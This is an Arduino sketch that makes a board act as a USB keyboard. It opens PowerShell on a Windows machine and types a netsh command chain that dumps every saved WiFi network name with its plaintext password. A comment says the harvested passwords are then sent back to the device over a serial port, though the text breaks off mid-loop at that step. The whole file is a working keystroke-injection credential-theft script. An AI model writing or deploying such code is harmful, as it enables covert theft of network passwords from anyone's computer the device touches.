#include "Keyboard.h" int betweenTypingDelay = 500; int pressReleaseDelay = 20; int comPorts = 10; void getWifiPasswords(){ // Open Powershell Keyboard.press(KEY_LEFT_GUI); delay(pressReleaseDelay); Keyboard.release(KEY_LEFT_GUI); delay(betweenTypingDelay); Keyboard.print("powershell"); delay(betweenTypingDelay); Keyboard.press(KEY_RETURN); delay(pressReleaseDelay); Keyboard.release(KEY_RETURN); delay(betweenTypingDelay); // Type Wifi Script Keyboard.print("(netsh wlan show profiles) | Select-String \"\\:(.+)$\" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=\"$name\" key=clear)} | Select-String \"Key Content\\W+\\:(.+)$\" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Out-String -OutVariable myVar"); Keyboard.press(KEY_RETURN); delay(pressReleaseDelay); Keyboard.release(KEY_RETURN); delay(betweenTypingDelay); Keyboard.print("$myVarA = $myVar.Replace(\"-\",\"\")"); Keyboard.press(KEY_RETURN); delay(pressReleaseDelay); Keyboard.release(KEY_RETURN); delay(betweenTypingDelay); //Write to Serial Port //Arduino Needs to be within the first 10 COM ports for(int x =0 ; x